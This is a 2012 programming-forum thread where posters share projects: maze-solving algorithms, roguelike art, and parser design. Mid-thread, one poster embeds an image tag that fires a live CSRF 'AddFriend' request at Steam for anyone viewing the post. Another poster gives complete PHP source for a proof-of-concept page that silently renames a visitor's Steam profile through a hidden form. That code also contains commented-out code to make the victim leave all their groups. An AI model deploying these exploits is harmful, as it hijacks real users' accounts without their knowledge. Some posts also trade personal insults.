• What are you working on? January 2012
    3,401 replies, posted
[QUOTE=Darwin226;34229799]Why are you sorting anything? IIRC BFS and DFS don't need any sorting. As for the speed, DFS finds A path faster but BFS finds the BEST path faster.[/QUOTE] For best first you need to sort the list (or traverse through it, but I just chose to sort it) to find the best node.
[QUOTE=neos300;34230383]For best first you need to sort the list (or traverse through it, but I just chose to sort it) to find the best node.[/QUOTE] Oh sorry. I thought you were talking about breadth first and DEPTH first searches.
Is it okay to output bytecode directly while parsing or should I use some kind of tree structure?
[QUOTE=swift and shift;34230346]what does it "serve"[/QUOTE] I'm gonna say webpages.
Been lurking for a while but felt like posting some content, bits of unfinished art in the screens and there's a lot more to be done but here's my roguelike (original, I know) Some magical items on the floor (older art in this one) [THUMB]http://i.imgur.com/LurMi.jpg[/thumb] When I was testing the lighting (older art again): [thumb]http://i.imgur.com/mMpcu.png[/thumb] Cloudy forest at night: [thumb]http://i.imgur.com/INIwy.jpg[/thumb]
[QUOTE=Maurice;34211606]"Few minutes" my ass.[/QUOTE] It's in .NET and it's less than 100 lines, do you seriously doubt it took more than a few minutes?
[QUOTE=Mesothere;34230536]Been lurking for a while but felt like posting some content, bits of unfinished art in the screens and there's a lot more to be done but here's my roguelike (original, I know) Some magical items on the floor (older art in this one) When I was testing the lighting (older art again): Cloudy forest at night:[/QUOTE] Wow!
Wow, it appears Steam may be vulnerable to CSRF too. [img]http://steamcommunity.com/actions/AddFriend/76561198052646613[/img] In other news I am working on weapons in Minor Destruction.
I wonder why NoScript has no CSRF protection yet. [editline]16th January 2012[/editline] Oh, it does. But only for POST.
[QUOTE=swift and shift;34230346]what does it "serve"[/QUOTE] At the moment nothing, It will most likely become some sort of base for a future project.
[QUOTE=synthiac;34230749]hahah yeah let's start posting csrfs again rather than content good idea!![/QUOTE] i figured you'd be more accustomed to posting everything but content
This is so weird. Best first is outperforming both A* and dijkstra, and depth first is out performing dijkstra. I based both a* and dijkstra off of the same code (set heuristic to 0 for dijkstra), I may have coded it wrong. I'm solving a large maze by the way, this one: [img]http://dl.dropbox.com/u/38318788/maze1s.png[/img]
I don't think A* was designed for mazes?
Suddenly roguelikes and maze generators. this is almost nostalgic.
post code, we might be able to help
Now that I think about it, that makes a lot of sense. Looks like my experiment was flawed, which gives me an easy science experiment for next year. [editline]15th January 2012[/editline] Best first:[url]http://pastebin.com/AFRikdrc[/url] Astar/dijkstra: [url]http://pastebin.com/vXPFCEYz[/url] The only changes are in the if chain near the end (Line 122 in the astar one is where the changes start) I think it's just the calculation of the Manhattan heuristic that is making it slow. [editline]15th January 2012[/editline] [QUOTE=BlkDucky;34231162]Suddenly roguelikes and maze generators. this is almost nostalgic.[/QUOTE] actually maze solvers [editline]15th January 2012[/editline] Just realized I was comparing distance from start to the manhattan squared (to avoid the square root) and not squaring the start distance. This might work better. [editline]15th January 2012[/editline] Alright, it now runs about a 10ms faster then best first.
[QUOTE=Jawalt;34230481]Is it okay to output bytecode directly while parsing or should I use some kind of tree structure?[/QUOTE] parse into an AST, generate bytecode later from the AST with a DFS
[QUOTE=cody8295;34230552]It's in .NET and it's less than 100 lines, do you seriously doubt it took more than a few minutes?[/QUOTE] using .NET's built in charts is cheating
[QUOTE=Yogurt;34230596]Wow, it appears Steam may be vulnerable to CSRF too. [img]http://steamcommunity.com/actions/AddFriend/76561198052646613[/img][/QUOTE] I once had a proof-of-concept page that asked you to log in with Steam OpenID (to ensure that you were logged into steamcommunity.com). Once you did that, it'd fire off a hidden form into a hidden frame that changed your nickname to "i am a dumb nong"
Nevermind, I was actually testing best instead of a*. It's actually 350ms slower.
[QUOTE=swift and shift;34231392]I once had a proof-of-concept page that asked you to log in with Steam OpenID (to ensure that you were logged into steamcommunity.com). Once you did that, it'd fire off a hidden form into a hidden frame that changed your nickname to "i am a dumb nong"[/QUOTE] Oh I saw that one but didn't want to try it :v:
[php] <?php require_once("openid.php"); $o = new LightOpenID; if(isset($_POST["do_redir"])) { $o->identity = "http://steamcommunity.com/openid"; header("Location: " . $o->authUrl()); exit; } if(!$o->mode) { ?> <form method="post"> <input type="submit" name="do_redir" value="click here to login with steam" /> (you will be redirected to the steam website) </form> <?php } elseif($o->validate()) { $cid_parts = explode("/", $o->identity); $cid = $cid_parts[count($cid_parts)-1]; $xml = new SimpleXMLElement(file_get_contents("http://steamcommunity.com/profiles/$cid?xml=1")); // this part is REALLY evil: /* foreach($xml->groups->group as $g) { ?> <img src="http://steamcommunity.com/profiles/<?php echo $cid; ?>/home_process?action=leaveGroup&amp;groupId=<?php echo $g->groupID64; ?>" /> <?php } */ $profile_name = $xml->customURL; if(empty($profile_name)) { $c = curl_init(); curl_setopt($c, CURLOPT_URL, "http://steamcommunity.com/profiles/$cid"); curl_setopt($c, CURLOPT_HEADER, TRUE); curl_setopt($c, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($c, CURLOPT_BINARYTRANSFER, TRUE); preg_match("/Location: http:\/\/steamcommunity.com\/id\/(?<url>[^\/]*)\//", curl_exec($c), $matches); $profile_name = $matches['url']; } ?> <h1>pwned.</h1> <iframe name="shit" id="shit" style="position:absolute;left:-999px;top:-999px;"></iframe> <form method="post" action="http://steamcommunity.com/id/<?php echo $profile_name; ?>/edit/profile" name="frm" id="frm" target="shit"> <input type="hidden" name="type" value="profileSave" /> <input type="hidden" name="personaName" value="i am a dumb nong" /> </form> <script> document.frm.submit(); </script> <?php } [/php] [editline]16th January 2012[/editline] [i]automerge[/i]
Wait, I got it wrong again.
[QUOTE=cody8295;34230552]It's in .NET and it's less than 100 lines, do you seriously doubt it took more than a few minutes?[/QUOTE] opening VS and dragging the controls into a form takes at least several minutes, so, yeah, you didn't do it in "a few minutes"
No, I got it right, for real this time.
[QUOTE=swift and shift;34231370]parse into an AST, generate bytecode later from the AST with a DFS[/QUOTE] So how would I structure an abstract syntax tree? Something like this?: [code] Program Main stuff in this function Hash stuff here While too kay [/code] Am I understanding the whole idea of it correctly?
[QUOTE=supersnail11;34231388]using .NET's built in charts is cheating[/QUOTE] uh how? [editline]16th January 2012[/editline] funnily enough, this isn't a competition; there are no rules.
[QUOTE=synthiac;34232042]i'm still waiting on your ocr cas[/QUOTE] We don't always get what we wait for. For instance, if somebody were to wait for "synthiac to get the fuck out," it's unlikely they'd get that.
[QUOTE=Yogurt;34232095]We don't always get what we wait for. For instance, if somebody were to wait for "synthiac to get the fuck out," it's unlikely they'd get that.[/QUOTE] I can't be the only one who finds the constant attacks on synthiac more annoying than synthiac himself. Please tell me I'm not alone.
[QUOTE=synthiac;34232042]i'm still waiting on your ocr cas[/QUOTE] working on something better
Sorry, you need to Log In to post a reply to this thread.